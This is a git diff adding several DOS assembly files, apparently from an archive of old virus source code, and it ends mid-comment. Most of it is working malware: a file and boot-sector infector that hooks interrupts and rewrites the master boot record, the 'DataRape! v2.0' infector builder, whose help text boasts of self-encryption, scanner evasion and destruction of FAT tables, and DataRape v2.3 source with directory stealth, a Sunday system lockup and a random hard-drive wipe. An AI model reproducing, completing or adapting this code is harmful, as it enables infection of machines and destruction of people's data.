+TermFullScreen: Mov DX,[OriginalCursor] ; Set cursor to original + Mov AH,2 ; And set it + Int 10h ; through BIOS + + Pop ES ; Restore all registers + Pop DS + Pop DI + Pop DX + Pop CX + Pop BX + Pop AX + + Ret ; And return to New Int. 16h + +; Cursor Movement +; --------------- + +Home: Mov DL,Byte Ptr [OriginalCursor] ; Move cursor to + Ret ; to original column + +Up: Or DH,DH ; Check if at top row + Jz UpEnd ; If so, do nothing + Dec DH ; If not, decrement row +UpEnd: Ret + +PgUp: Sub DL,DL ; Move cursor to far left + Ret + +Left: Or DL,DL ; Check if cursor at far left + Jnz GoWest ; If not, move it left + Mov DL,[MaxCharCol] ; Move cursor to right + Jmp Up ; And go up one line +GoWest: Dec DL ; Otherwise, decrement column + Ret + +Right: Cmp DL,[MaxCharCol] ; Check if cursor at far right + Jb GoEast ; If not, move it right + Sub DL,DL ; Set cursor to left of screen + Jmp Down ; And go down one line +GoEast: Inc DL ; Otherwise, increment column + Ret + +End: Call TransferLine ; Move line to buffer + Mov DX,[OriginalCursor] ; Set cursor to original + Ret + +Down: Inc DH ; Move cursor down one row + Ret + +PgDn: Mov CL,[MaxCharCol] ; Get last column on screen + Inc CL ; Kick it up by one + Sub CL,DL ; Subtract current column + Sub CH,CH ; Set top byte to zero + Mov AL,' ' ; Character to write + Mov AH,0Ah ; Write blanks to screen + Int 10h ; through BIOS +Dummy: Ret + +; Insert and Delete +; ----------------- + +Insert: Xor [InsertOn],-1 ; Toggle the InsertOn flag + Ret ; and return + +Delete: Call ShiftLeft ; Shift cursor line left + Ret ; and return + +; Transfer Line on Screen to Keyboard Buffer +; ------------------------------------------ + +TransferLine: Sub CX,CX ; Count characters in line + Mov DI,Offset KeyboardBuffer ; Place to store 'em + Mov [BufferPointer],DI ; Save that address + Cld ; String direction forward + +GetCharLoop: Mov AH,02h ; Set Cursor at DX + Int 10h ; through BIOS + + Mov AH,08h ; Read Character & Attribute + Int 10h ; through BIOS + + Stosb ; Save the character + + Inc CX ; Increment the counter + Inc DL ; Increment the cursor column + Cmp DL,[MaxCharCol] ; See if at end of line yet + Jbe GetCharLoop ; If not, continue + + Dec DI ; Points to end of string + Mov AL,' ' ; Character to search through + Std ; Searching backwards + Repz Scasb ; Search for first non-blank + Cld ; Forward direction again + Jz SetBufferCount ; If all blanks, skip down + + Inc CL ; Number of non-blanks + Inc DI ; At last character +SetBufferCount: Inc DI ; After last character + Mov [BufferCounter],CL ; Save the character count + + Ret ; Return from routine + +; Shift Line One Space Right (For Insert) +; --------------------------------------- + +ShiftRight: Push DX ; Save original cursor + Mov DI,AX ; Character to insert + +ShiftRightLoop: Call ReadAndWrite ; Read character and write + + Inc DL ; Kick up cursor column + Cmp DL,[MaxCharCol] ; Check if it's rightmost + Jbe ShiftRightLoop ; If not, keep going + + Pop DX ; Get back original cursor + Ret ; And return from routine + +; Shift Line One Space Left (For Delete) +; -------------------------------------- + +ShiftLeft: Mov DI,0020h ; Blank at end + Mov BL,DL ; Save cursor column + Mov DL,[MaxCharCol] ; Set cursor to end of line + +ShiftLeftLoop: Call ReadAndWrite ; Read character and write + + Dec DL ; Kick down cursor column + Cmp DL,BL ; See if at original yet + Jge ShiftLeftLoop ; If still higher, keep going + + Inc DL ; Put cursor back to original + Ret ; And return from routine + +; Read and Write Character for Line Shifts +; ---------------------------------------- + +ReadAndWrite: Mov AH,2 ; Set Cursor from DX + Int 10h ; through BIOS + + Mov AH,08h ; Read Character and Attribute + Int 10h ; through BIOS + + Xchg AX,DI ; Switch with previous char + + Mov CX,1 ; One character to write + Mov AH,0Ah ; Write character only + Int 10h ; through BIOS + + Ret ; Return from Routine + +; Initialization on Entry +; ----------------------- + +Initialize: Sub AX,AX ; Make AX equal zero + Mov DS,AX ; To point to vector segment + + Les BX,dword ptr DS:[21h * 4]; Get and save Int. 21h + Mov Word Ptr CS:[OldInterrupt21],BX + Mov Word Ptr CS:[OldInterrupt21 + 2],ES + + Les BX,dword ptr DS:[16h * 4]; Get and save Int. 16h + Mov Word Ptr CS:[OldInterrupt16],BX + Mov Word Ptr CS:[OldInterrupt16 + 2],ES + + Push CS ; Restore DS register + Pop DS ; by setting to CS + + Mov DX,Offset NewInterrupt21 + Mov AX,2521h ; Set new Interrupt 21h + Int 21h ; through DOS + + Mov DX,Offset NewInterrupt16 + Mov AX,2516h ; Set new Interrupt 16h + Int 21h ; through DOS + + Mov DX,Offset Initialize ; Number of bytes to stay + Int 27h ; Terminate & remain resident + +CSEG EndS + End Entry + \ No newline at end of file diff --git a/d/DOS1.ASM b/d/DOS1.ASM new file mode 100755 index 0000000..2772998 --- /dev/null +++ b/d/DOS1.ASM @@ -0,0 +1,162 @@ +;DOS1 virus by the TridenT research group - Direct Action appending .COM + +;This virus infects .COM files in the current directory using FCB's. +;Other than FCB use, the virus is VERY simple. Avoids infecting misnamed +;EXE files by using an 'M' at the beginning of files to mark infection. + +;This virus requires a stub file made from the following debug script, +;to make it, compile the virus, then create the stub file by removing the +;semicolons from the code between the lines, saving it, and calling it +;vstub.hex. Then use the following commands: + +; Debug 100h characters, + ; must be an other file + inc di + dec cx + cmp byte ptr ds:[di-1],0 ; end of filename ? + je Last + cmp byte ptr ds:[di-1],'.' ; point ? + jne Nxt ; no, next character + mov si,di ; si=di, si=last point + mov al,1 ; al=1, al=1 if point found + jmp Nxt ; next character +Last: or al,al ; point found ? + je Other ; no, it's not an exe-file + mov di,bx + cld + lodsw ; get 2 bytes after '.' + and ax,0dfdfh ; uppercase + scasw ; compare + jne Other + lodsb ; get 1 byte + and al,0dfh ; uppercase + scasb ; compare + jne Other ; no, not an exe-file + clc ; clear carry, exe-file + jmp Done ; return to caller +Other: stc ; set carry, not an exe-file +Done: pop di ; restore registers + pop si + pop cx + pop ax + ret ; return to caller + +;------------------------------------------------------------------------------ +; this procedure infects an exe-file that is opened and the handle is in bx +;------------------------------------------------------------------------------ + +InfectEXE: + push ax ; save registers + push bx + push cx + push dx + push ds + push es + push cs ; ds=es=cs + pop ds + push cs + pop es + mov ax,4200h ; goto top of file + xor cx,cx + xor dx,dx + call DOS + mov ah,3fh ; read exe-header + mov cx,1ch + mov dx,offset ExeHeader + call ReadWrite + cmp ChkSum,0DEADh + call ReturnEqual + mov ChkSum,0DEADh + mov ax,ExeIP ; save orginal ip,cs,ss and sp + mov OldIP,ax + mov ax,ExeCS + mov OldCS,ax + mov ax,ExeSS + mov OldSS,ax + mov ax,ExeSP + mov OldSP,ax + mov ax,PageCount ; calculate new cs and ss + mov dx,PartPage + or dx,dx + jz Zero1 + dec ax +Zero1: add dx,0fh + mov cl,4 + shr dx,cl + inc cl + shl ax,cl + add ax,dx + mov dx,ax + sub dx,HeaderSize + mov ExeCS,dx ; store new cs,ip,ss and sp + mov ExeIP,offset MainEXE + mov ExeSS,dx + mov ExeSP,offset CodeSize+800h + mov dx,10h ; calculate offset in file + mul dx + push ax ; save offset + push dx + add ax,offset CodeSize ; calculate new image size + adc dx,0 + mov cx,200h + div cx + or dx,dx + je Zero2 + inc ax +Zero2: mov PageCount,ax + mov PartPage,dx + cmp MinMem,80h + jae MinOk + mov MinMem,80h +MinOk: cmp MaxMem,80h + jae MaxOk + mov MaxMem,80h +MaxOk: pop cx ; restore offset + pop dx + mov ax,4200h ; goto found offset + call DOS + mov ah,40h ; write virus + mov cx,offset CodeSize + xor dx,dx + call ReadWrite + mov ax,4200h ; goto top of file + xor cx,cx + xor dx,dx + call DOS + mov ah,40h ; write new exe-header + mov cx,1ch + mov dx,offset ExeHeader + call DOS + jmp Return +Error: add sp,2 ; get return address of stack +Return: pop es ; restore registers + pop ds + pop dx + pop cx + pop bx + pop ax + ret ; return to caller + +;------------------------------------------------------------------------------ +; jumps to error when z-flag is 1 +;------------------------------------------------------------------------------ + +ReturnEqual: + je Error + ret + +;------------------------------------------------------------------------------ +; this procedure executes the orginal interrupt 21h, if ax is not equal to cx +; an error occured. This procedure is called from InfectEXE and InfectCOM +;------------------------------------------------------------------------------ + +ReadWrite: + pushf + cli + call cs:SavedInt21 + jc Error + cmp ax,cx + jne Error + ret + +;------------------------------------------------------------------------------ +; this procedure executes the orginal interrupt 21h, and is called from +; InfectEXE and InfectCOM +;------------------------------------------------------------------------------ + +DOS: pushf ; call orginal interrupt 21h + cli + call cs:SavedInt21 + jc Error ; error? yes, jump to error + ret ; return to caller + +;------------------------------------------------------------------------------ +; this procedure infects an exe-file that is opened and the handle is in bx +;------------------------------------------------------------------------------ + +InfectCOM: + push ax ; save registers + push bx + push cx + push dx + push ds + push es + push cs ; ds=es=cs + pop ds + push cs + pop es + mov ax,4200h ; goto top of file + xor cx,cx + xor dx,dx + call DOS + mov ah,3fh ; read first 3 bytes + mov cx,EntrySize + mov dx,offset SavedCode + call ReadWrite + mov si,offset SavedCode + mov di,offset ComEntry + mov cx,EntrySize + rep cmpsb + je Return + mov ax,4202h ; goto end of file + xor cx,cx + xor dx,dx + call DOS + or dx,dx + ja Error + cmp ax,0f000h + ja Error + add ax,0fh + mov cl,4 ; prepare the com-entry + shr ax,cl + add ax,10h + mov ComCS,ax + sub ax,10h + shl ax,cl ; goto end of file + mov dx,ax + mov ax,4200h + xor cx,cx + call DOS + mov ah,40h ; write virus at the and of the + mov cx,offset CodeSize ; com-file + xor dx,dx + call ReadWrite + mov ax,4200h + xor cx,cx + xor dx,dx + call DOS + mov ah,40h + mov cx,EntrySize + mov dx,offset ComEntry + call DOS + jmp Return + +;------------------------------------------------------------------------------ +; This procedure infects the master bootsector of the first harddisk. There are +; no registers saved. +;------------------------------------------------------------------------------ + +InfectBoot: + mov ah,30h ; installation check + mov dx,0DEADh + int 21h + cmp ax,dx + je Infected + push cs ; ds=es=cs + pop ds + push cs + pop es + mov ax,201h ; read bootsector + mov bx,offset OrginalBoot + mov cx,1 + mov dx,80h + int 13h + jc Infected + mov si,offset OrginalBoot ; compare bootsector with viral + mov di,offset BootSector ; bootsector + mov cx,BootSize + repe cmpsb + je Infected + mov ax,300h+SectorCount ; write virus to disk + xor bx,bx + mov cx,2 + mov dx,80h + int 13h + jc Infected + mov si,offset BootSector ; adjust bootsector + mov di,offset OrginalBoot + mov cx,BootSize + rep movsb + mov ax,301h ; write bootsector to disk + mov bx,offset OrginalBoot + mov cx,1 + mov dx,80h + int 13h +Infected: + ret ; return to caller + + +;------------------------------------------------------------------------------ +; this is the main procedure, when starting up from an com-file, it will +; check if the first harddisk is infected, if not it will infect it. +;------------------------------------------------------------------------------ + +MainCOM:push ds + mov dx,100h + push dx + push ax + push ds + push es + push cs + pop ds + mov si,offset SavedCode + mov di,dx + mov cx,EntrySize + rep movsb + call InfectBoot + pop es + pop ds + pop ax + retf + +;------------------------------------------------------------------------------ +; this is the main procedure, when starting up from an exe-file, it will +; check if the first harddisk is infected, if not it will infect it. +;------------------------------------------------------------------------------ + + +MainEXE:push ax ; save registers + push ds + push es + mov ax,ds ; adjust cs and ss + add ax,10h + add cs:OldCS,ax + add cs:OldSS,ax + call InfectBoot ; infect the bootsector + pop es ; restore registers + pop ds + pop ax + mov ss,cs:OldSS ; set ss:sp + mov sp,cs:OldSP + jmp cs:OldCSIP ; jump to orginal code + +CodeSize equ $ + +;------------------------------------------------------------------------------ +; the first part of the orginal bootsector is stored here +;------------------------------------------------------------------------------ + +OrginalBoot db BootSize dup(0) +CodeEnd equ $ + +;------------------------------------------------------------------------------ +; the variables used by the virus when its resident are stored here +;------------------------------------------------------------------------------ + +SavedInt8 dd 0 ; orginal interrupt 8 +SavedInt21 dd 0 ; orginal interrupt 21 +Handle dw 0 ; handle of first exe-file + ; opened +Infect dw 0 ; offset infect procedure + +Buffer equ this byte +ExeHeader dw 0dh dup(0) ; exe-header is stored here + +Signature equ ExeHeader[0] ; exe-signature 'MZ' +PartPage equ ExeHeader[2] ; size of partitial page +PageCount equ ExeHeader[4] ; number of pages (200h bytes) +HeaderSize equ ExeHeader[8] ; size of the exe-header +MinMem equ ExeHeader[0ah] ; minimum memory needed +MaxMem equ ExeHeader[0ch] ; maximum memory needed +ExeSS equ ExeHeader[0eh] ; SS +ExeSP equ ExeHeader[10h] ; SP +ChkSum equ ExeHeader[12h] ; checksum, DEAD if infected +ExeIP equ ExeHeader[14h] ; IP +ExeCS equ ExeHeader[16h] ; CS + +DataEnd equ $ + +cseg ends + +sseg segment stack 'stack' + db 400h dup(?) +sseg ends + +end MainEXE + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/d/DR20-INF.ASM b/d/DR20-INF.ASM new file mode 100755 index 0000000..b1b4fe8 --- /dev/null +++ b/d/DR20-INF.ASM @@ -0,0 +1,594 @@ +; DataRape! v2.0 Infector +; +; I know you won't dist this, DD. Sorry its a bit sloppy, but it works. +; +; - Zodiac (06/26/91) + + +print macro + call prints + endm + +cls macro + call clrscr + endm + +code segment + assume cs:code, ds:code + org 100h + +start: jmp main_menu + +include loader.inc + +main_menu_str db "DataRape! v2.0 Infector",13,10 + db "(c)1991 Zodiac of RABID",13,10 + db 13,10 + db "A. Information/Help",13,10 + db "B. Configure Virus",13,10 + db "C. View Scrolling",13,10 + db "D. Infect File",13,10 + db "E. Exit to Dos",13,10 + db 13,10 + db "Command: $" + +help_scr db " DataRape! v2.0 Information/Help",13,10 + db 13,10 + db "DataRape! v2.0 is a mutating self-encrypting destructive stealth",13,10 + db "EXE/COM infector. It infects files upon execution, browsing,",13,10 + db "copying, and renaming. The encryption method changes randomly as",13,10 + db "does the encryption header. The virus should not be picked-up by",13,10 + db "conventional string scanners(ie SCAN). If so, it will be changed.",13,10 + db "After a specified number of successful loads to memory, the virus",13,10 + db "turns destructive and destroys all available FAT tables. It then",13,10 + db "proceeds to display a configurable scrolling message in",13,10 + db "configurable colors.",13,10 + db 13,10 + db "This infection program is self-explanatory, and is intended for",13,10 + db "general distribution to RABID's selected crashers. This virus has",13,10 + db "taken many, many hours away from my life. But, it was a pleasure",13,10 + db "programming and a new version will be released(shortly?).",13,10 + db 13,10 + db "Good Luck! Try not to get busted( trust me, it stinks. ).",13,10 + db 13,10 + db '"Fear the Government that Fears Your Computer!"',13,10 + db 13,10 + db " -- Zodiac of RABID, USA",13,10 + db 13,10 + db "P.S. I wrote this infector in assembly, can't you tell?$",13,10 + +config_scr db "DataRape! v2.0 Configuration",13,10 + db 13,10 + db "Loads before Destruction(20 recommended) : " + db "$" +config_2 db 13,10 + db 13,10 + db "Note: Press spacebar a few times at beginning or end of message.",13,10 + db 13,10 + db "Enter Scrolling Message: $" +config_3 db 'Enter Colors in form: "bf", where "b" is the background and "f" the foreground.',13,10 + db ' Ŀ',13,10 + db 'Colors: FOREGROUND ONLY ',13,10 + db ' Ŀ ',13,10 + db '0 : black 4 : red 8 : light grey C : light red',13,10 + db '1 : blue 5 : magenta Ĵ 9 : light blue D : light magenta' + db '2 : green 6 : brown Ĵ A : light greenta E : yellow',13,10 + db '3 : cyan 7 : white B : light cyan F : bright white',13,10 + db ' ',13,10 + db 13,10 + db 'Background Color : $' +config_4 db 13,10 + db 'Border Color : $' +config_5 db 13,10 + db 'Scroll Color : $' + +color_s db "bf",8,8,"$" + +infect_1 db "DataRape! v2.0 Infection",13,10 + db 13,10 + db "Finally...",13,10 + db 13,10 + db "It would be a good idea to View Scrolling before you infect a file",13,10 + db "to make sure you set up the colors right and the message is OK.",13,10 + db 13,10 + db "Who else but RABID would allow configurable colors? ",13,10 + db 13,10 + db "File to Infect : $" + +infect_2 db 13,10 + db 13,10 + db "An attempt will be made to infect the selected file.",13,10 + db "If the file does not exist, or does not qualify for",13,10 + db "infection, it will not be. It is up to you to find",13,10 + db "out whether it worked or not. Remember, only COM and",13,10 + db "EXE files that are over 1885 bytes are infected.$" + +infect_3 db 13,10 + db 13,10 + db "File Infection Successful. RABID - Keeping the Dream Alive!$" + +infect_4 db 13,10 + db 13,10 + db "File Infection Unsuccessful!$" + +infect_5 db 13,10 + db 13,10 + db "File Not Found$" + +clrscr: mov ax,0003 + int 10h + ret + +prints: mov ah,9 + int 21h + ret + +get_key: mov ah,8 + int 21h + ret + +get_up_key: call get_key + cmp al,"a" + jb got_up + cmp al,"z" + ja got_up + sub al,"a"-"A" +got_up: ret + +get_num: call get_key + cmp al,27 + je got_num + cmp al,"0" + jb get_num + cmp al,"9" + ja get_num +got_num: ret + +nl: mov ah,0Eh + mov al,13 + int 10h + mov al,10 + int 10h + ret + +main_menu: cls + + mov dx,offset main_menu_str + print + +main_key: call get_up_key + + cmp al,"A" + je info_help + + cmp al,"B" + je config + cmp al,"C" + jne is_it_d + jmp view_scroll +is_it_d: cmp al,"D" + jne isitexit + jmp infectfile +isitexit: cmp al,"E" + je exit + cmp al,27 + je exit + + jmp main_key + +exit: jmp done + +info_help: cls + mov dx,offset help_scr + print + call get_key + +info_done: jmp main_menu + +config: cls + mov dx,offset config_scr + print + mov cx,2 +get_freq: call get_num + cmp al,27 + je info_done + mov ah,0Eh + int 10h + sub al,"0" + push ax + loop get_freq + pop bx + pop ax + mov cl,10 + mul cl + add al,bl + cmp al,2 + jb info_done + mov countr,al + + mov di,offset msg + mov al,0 + mov cx,216 + rep stosb + mov ah,9 + mov dx,offset config_2 + int 21h + xor bx,bx + mov ax,0AFAh + mov cx,215 + int 10h + mov ah,2 + mov dx,0619h + int 10h + mov si,offset msg + mov di,si + mov bp,0 +get_char_loop:call get_key + cmp al,27 + je done_config + cmp al,13 + je done_get + cmp al,08 + jne no_back + cmp bp,0 + je get_char_loop + mov ah,3 + int 10h ; GETS INFO + dec bp + dec di + cmp dl,0 + jne no_new_line + dec dh + mov dl,80 +no_new_line: dec dl + mov ah,2 + int 10h + mov ah,0Ah + mov al,250 + mov cx,1 + int 10h + jmp get_char_loop +no_bacK: stosb + inc bp + mov ah,0Eh + int 10h + cmp bp,215 + je done_get + jmp get_char_loop + +done_get: mov al,0 + stosb + mov ah,2 + mov dx,0A00h + int 10h + mov dx,offset config_3 + print + mov si,offset back_round + 1 + call get_clr + mov dx,offset config_4 + print + mov si,offset bord_clr + 1 + call get_clr + mov dx,offset config_5 + print + mov si,offset scroll_clr + 1 + call get_clr + + +done_config: jmp main_menu +pop_done: pop ax + jmp main_menu +get_clr: mov dx,offset color_s + print +get_color: call get_key + cmp al,27 + je done_config + cmp al,"0" + jb get_color + cmp al,"7" + ja get_color + mov ah,0Eh + int 10h + sub al,"0" + push ax +get_color_2: call get_up_key + cmp al,27 + je pop_done + cmp al,"0" + jb get_color_2 + cmp al,"9" + ja maybe_char + mov ah,0Eh + int 10h + sub al,"0" + jmp short ok_clr_2 +maybe_char: cmp al,"A" + jb get_color_2 + cmp al,"F" + ja get_color_2 + mov ah,0Eh + int 10h + sub al,"A"-10 +ok_clr_2: pop cx + push ax + xor ax,ax + mov al,cl + mov cl,4 + shl al,cl + pop cx + add al,cl + mov [si],al + ret + +view_scroll: + +;************************ + +nuke: call rel +rel: pop di + sub di,offset rel - offset nuke + + push cs + pop ds + + mov ax,1 + int 10h ; 40 * 40 COLOR + + mov ah,1 + mov cx,2020h + int 10h ; NULS CURSOR + + mov ax,0600h + xor cx,cx + mov dx,184Fh +back_round: mov bh,12 + int 10h ; CLEARS BACKGROUND WINDOW + + mov cx,0900h + mov dx,094Fh +scroll_clr: mov bh,4Fh + int 10h ; CLEARS MESSAGE WINDOW + + xor bx,bx + mov dx,0800h + mov ah,2 + int 10h + +bord_clr: mov bx,02h ; clr + mov cx,40 + mov ax,09C4h + push ax + push bx + push cx + int 10h + + mov dx,0A00h + mov ah,2 + int 10h + pop cx + pop bx + pop ax + int 10h + + mov dx,030Ch + mov si,di + add si,offset header-offset nuke + mov cx,4 +head_print: mov ah,2 + int 10h +xy_loop: lodsb + mov ah,0Eh + int 10h + cmp al,0 + jne xy_loop + inc dh + loop head_print + + + mov bp,39 +scroll: mov dx,0900h + call xy + cmp bp,1 + jb no_pad + + mov cx,bp + mov ax,0A20h + int 10h + add dx,cx + call xy + + mov cx,40 + sub cx,bp + dec bp + mov si,offset msg-offset nuke + add si,di + + jmp short sprint +no_pad: mov cx,40 + inc si + cmp byte ptr [si],0 + jne sprint + mov si,offset msg-offset nuke + add si,di +sprint: push si + call prnt + pop si + jmp short scroll + +prnt: + lodsb + cmp al,0 + jne pchar + mov si,offset msg-offset nuke + add si,di + jmp short prnt + +pchar: mov ah,0Eh + int 10h + mov ah,1 + int 16h + jc go_main_menu + loop prnt + mov cx,6 +main_pause: push cx + mov cx,0FFFFh +pause: loop pause + pop cx + loop main_pause +done_pause: ret + +go_main_menu: pop ax + jmp main_menu + + +xy: mov ah,2 + int 10h + ret +header db "DataRape! v2.0",0 + db "-CONFIGURABLE-",0 + db "(c)1991 Zodiac",0 + db " RABID, USA ",0 + +go_ret_infect:jmp main_menu + +infectfile: cls + mov dx,offset infect_1 + print + mov ah,0Ah + mov dx,offset file_in + int 21h + cmp chars,4 + jb go_ret_infect + mov cx,61 + mov di,offset file_name + mov al,13 + repne scasb + mov byte ptr [di-1],0 + + mov ah,4Eh + mov cx,0 + mov dx,offset file_name + int 21h + jnc file_found + jmp bad_file + +file_found: + + mov ah,41h + mov dx,offset loader + int 21h + + +; prepare loader + mov si,offset file_name + xor cx,cx + mov cl,chars + mov di,offset datarape+56 + rep movsb + + mov si,offset msg + mov di,offset dr_msg + mov cx,215 + rep movsb + + mov ah,byte ptr [back_round+1] + mov al,byte ptr [scroll_clr+1] + mov bl,byte ptr [bord_clr+1] + + mov backclr,ah + mov scrclr,al + mov bordclr,bl + + mov ah,3Ch + mov cx,0 + mov dx,offset loader + int 21h ; creates it + jc go_ret_infect + + mov bx,ax + mov ah,40h + mov cx,loadsize + mov dx,offset datarape + int 21h ; writes it + + mov ah,3Eh + int 21h ; closes it + + call kill_cntr + + mov bx,(code_done-start+110h)/16 + mov ah,4Ah + int 21h + + mov dx,offset loader + mov bx,offset loader + mov ax,4B00h + int 21h ; exec file + + call kill_cntr + + mov ah,41h + mov dx,offset loader + int 21h ; kills loader + + + mov ax,3D00h + mov dx,offset file_name + int 21h + + mov bx,ax + + mov ax,5700h + int 21h + + mov ah,3Eh + int 21h + + and cx,1Fh + cmp cx,1Fh + jne bad_infect + + mov dx,offset infect_3 + print + jmp short get_char + +bad_infect: mov dx,offset infect_4 + print + jmp short get_char + +bad_file: mov dx,offset infect_5 + print +get_char: call get_key + +ret_infect: jmp main_menu +kill_cntr: mov ah,19h + int 21h + add al,"A" + mov byte ptr [offset nasty],al + + mov dx,offset nasty + mov ax,4301h + xor cx,cx + int 21h ; NULS ATTRIBUTES + + + mov ah,41h + int 21h ; Deletes Counter File + ret + + +done: cls + int 20h + +nasty db "A:\",0FFh,0FFh,0FFh,".",0FFh,0FFh,0 +badfile db "Bad File...$" +loader db "LOADER.COM",0 +file_in db 60 +chars db 0 +file_name db 60 dup(0) +msg db "RABID, INTERNATIONAL - Keeping the Dream Alive. (YOUR NAME HERE!)" + +code_done equ $ +code ends + end start + diff --git a/d/DR23.ASM b/d/DR23.ASM new file mode 100755 index 0000000..875f6ad --- /dev/null +++ b/d/DR23.ASM @@ -0,0 +1,1108 @@ +@b macro char + mov ah,0eh + mov al,char + int 10h +endm +;--- +; DataRape! v2.3 Source Code +; +; Written by Zodiac and Data Disruptor +; +; (C) 1991 RABID International Development Corp +; (Aug.14.91) +;--- +; +; Note: Assuming that and infected COMMAND.COM was booted, FSP/VirexPC will +; not be able to go resident under this version of DataRape! +; +;--- + +code segment + assume cs:code,ds:code,es:code + +v: ; All Pre-Resident Offsets Based + ; upon this location + +startup: + call relative +relative: + pop si + sub si,offset relative + mov bp,si + cld + + push ax ; + push es ; Saves registers + push si ; + push ds ; + mov ah,2ah ; Get system time + int 21h + cmp al,0 + jne are_we_here_boost + jmp its_sunday + +are_we_here_boost: + jmp are_we_here + +;--- +; If it's Sunday, then we display a message and lock the system +;--- +its_sunday: + mov ah,01h + mov cx,2020h + int 10h ;NUL the cursor + + mov ah,02h ;Moves the cursor + xor dx,dx + int 10h + + xor ax,ax ;Clears the screen + int 10h + + @b "I" + @b "t" + @b "'" + @b "s" + @b " " + @b "S" + @b "u" + @b "n" + @b "d" + @b "a" + @b "y" + @b "." + @b " " + @b "W" + @b "h" + @b "y" + @b " " + @b "a" + @b "r" + @b "e" + @b " " + @b "y" + @b "o" + @b "u" + @b " " + @b "w" + @b "o" + @b "r" + @b "k" + @b "i" + @b "n" + @b "g" + @b "?" + @b 13 + @b 10 + @b "T" + @b "a" + @b "k" + @b "e" + @b " " + @b "t" + @b "h" + @b "e" + @b " " + @b "d" + @b "a" + @b "y" + @b " " + @b "o" + @b "f" + @b "f" + @b " " + @b "c" + @b "o" + @b "m" + @b "p" + @b "l" + @b "i" + @b "m" + @b "e" + @b "n" + @b "t" + @b "s" + @b " " + @b "o" + @b "f" + @b " " + @b "R" + @b "A" + @b "B" + @b "I" + @b "D" + @b 7 + + +im_looped: jmp im_looped + +are_we_here: + mov ax,6969h ; Check to see if we are + int 21h ; Allready resident + cmp bx,6969h + je already_here ; Yes? Then leave the program + jmp after_trish + +db 13,10,'Patricia Boon',13,10 + +after_trish: + xor ax,ax ; + mov ds,ax ; Loads Current + les ax,ds:[21h*4] ; Int 21h Vector + mov word ptr cs:[si+save_int_21],ax ; + mov word ptr cs:[si+save_int_21+2],es ; + push cs + pop ds + jmp load_mem +already_here: + pop es ; If, exit +go_go_program: ; + jmp go_program ; + +exit_exe: + mov bx,es ; + add bx,10h ; E + add bx,word ptr cs:[si+call_adr+2] ; X + mov word ptr cs:[si+patch+2],bx ; E + mov bx,word ptr cs:[si+call_adr] ; + mov word ptr cs:[si+patch],bx ; E + mov bx,es ; X + add bx,10h ; I + add bx,word ptr cs:[si+stack_pointer+2] ; T + mov ss,bx ; I + mov sp,word ptr cs:[si+stack_pointer] ; N + db 0eah ; G +patch: ; + dd 0 ; + +; Below should be changed to: +; exit_com: xor bx,bx +; push bx +; mov di,100h +; push di +; add si,offset my_save +; movsb +; movsw +; ret + +exit_com: + mov di,100h ; EXIT + add si,offset my_save ; COM + movsb ; + movsw ; + xor bx,bx ; + push bx ; + jmp [si-11] ; + +;--- +; Here is where we load ourselves into memory +;--- + +load_mem: + pop es + mov ah,49h ; Release memory + int 21h + mov bx,0ffffh ; Set memory for FFFFh + ; paragraphs + mov ah,48h ; Allocate memory for + ; ourselves + int 21h + sub bx,(top_bz+my_bz+1ch-1)/16+2 + jc go_go_program + mov cx,es + stc + adc cx,bx + mov ah,4ah ; Modify memory allocation + int 21h + mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1 + stc + sbb es:[2],bx + push es + mov es,cx + mov ah,4ah + int 21h + mov ax,es + dec ax + mov ds,ax + mov word ptr ds:[1],8 + call mul_16 + mov bx,ax + mov cx,dx + pop ds + mov ax,ds + call mul_16 + add ax,ds:[6] + adc dx,0 + sub ax,bx + sbb dx,cx + jc mem_ok + sub ds:[6],ax ; This section look familiar? +mem_ok: + pop si + push si + push ds + push cs + xor di,di + mov ds,di + lds ax,ds:[27h*4] + mov word ptr cs:[si+save_int_27],ax + mov word ptr cs:[si+save_int_27+2],ds + pop ds + mov cx,offset aux_size + rep movsb + xor ax,ax + mov ds,ax + mov ds:[21h*4],offset int_21 + mov ds:[21h*4+2],es + mov ds:[27h*4],offset int_27 + mov ds:[27h*4+2],es + mov word ptr es:[filehndl],ax + pop es +go_program: + mov ah,30h ; Get DOS version number + int 21h + cmp al,4 ; + jae check_date ; If >= 4 then check the date + jmp no_fry ; NOT?! Then continue with + ; virus +check_date: mov ah,2ah ; Get system time + int 21h + cmp al,1 ; Is it a monday? + je randomizer + jmp no_fry +;--- +; If we actually get here, then we have a one in 15 chance that we will fry +; the hard-drive. You may ask yourself, "Why do you go through all the +; trouble?". Easy, because the main priority here is spreading, and not +; fucking up data... +;--- + +randomizer: + mov ah,2ch ; Get system time + int 21h + and dl,0fh + or dl,dl + jnz no_fry + jmp write_short + +no_fry: pop si ; Restore registers + pop ds + pop ax + cmp word ptr cs:[si+my_save],5a4dh ; Is it an EXE file? + jne go_exit_com ; No? Then must be a COM file. + jmp exit_exe ; Yes! Exit an EXE file +go_exit_com: + jmp exit_com + +int_27: + pushf ; Allocates Memory, + call alloc ; So TSR can load + popf ; + jmp dword ptr cs:[save_int_27] ; + +;--- +; This routine will return our ID byte in BX if we are resident. +;--- +weare_here: + popf + xor ax,ax + mov bx,6969h ; ID Register + iret + +int_21: + push bp + mov bp,sp + push [bp+6] + popf + pop bp ; Set Up Stack + + pushf ; Save Flag + cld + cmp ax,6969h + je weare_here + + cmp ah,11h ; Hide In + jb not_hide ; Directory + cmp ah,12h ; Listing + ja not_hide ; +fcb_find: + call dword ptr cs:[save_int_21] + push ax + push bx + push ds + push es + pushf + + cmp al,0FFh + je done_hide ; Not There? + + mov ah,2Fh + int 21h ; Get Size + push es + pop ds + cmp byte ptr es:[bx],0FFh ; Extended FCB? + jne not_extended + add bx,7 +not_extended: + mov ax,es:[bx+17h] + and ax,1Fh + cmp ax,1Fh ; Check Time Stamp + +;-- +; Checking to see if the file is with a 62 seconds filestamp... +;-- + + jne done_hide ; No? Then the file is not + ; infected. Leave it alone... + +;-- +; If we get here, then we've deduced that the file is indeed infected. +; Therefore, we must reduce the filesize from the DTA in order to show that it +; is "not infected" +;-- + sub word ptr es:[bx+1Dh],offset top_file + sbb word ptr es:[bx+1Dh+2],0 ; Decrease Size + +;--- +; Finished hiding, restore the resigers we saved, and return to the INT +; whence we came from... +;--- + +done_hide: + popf + pop es + pop ds + pop bx + pop ax + iret + +;-- +; Function differentiation happens here... +;-- + +directory: + jmp fcb_find + +weare_here_boost: + jmp weare_here + +;--- +; If FluShot+ or VirexPC are trying to 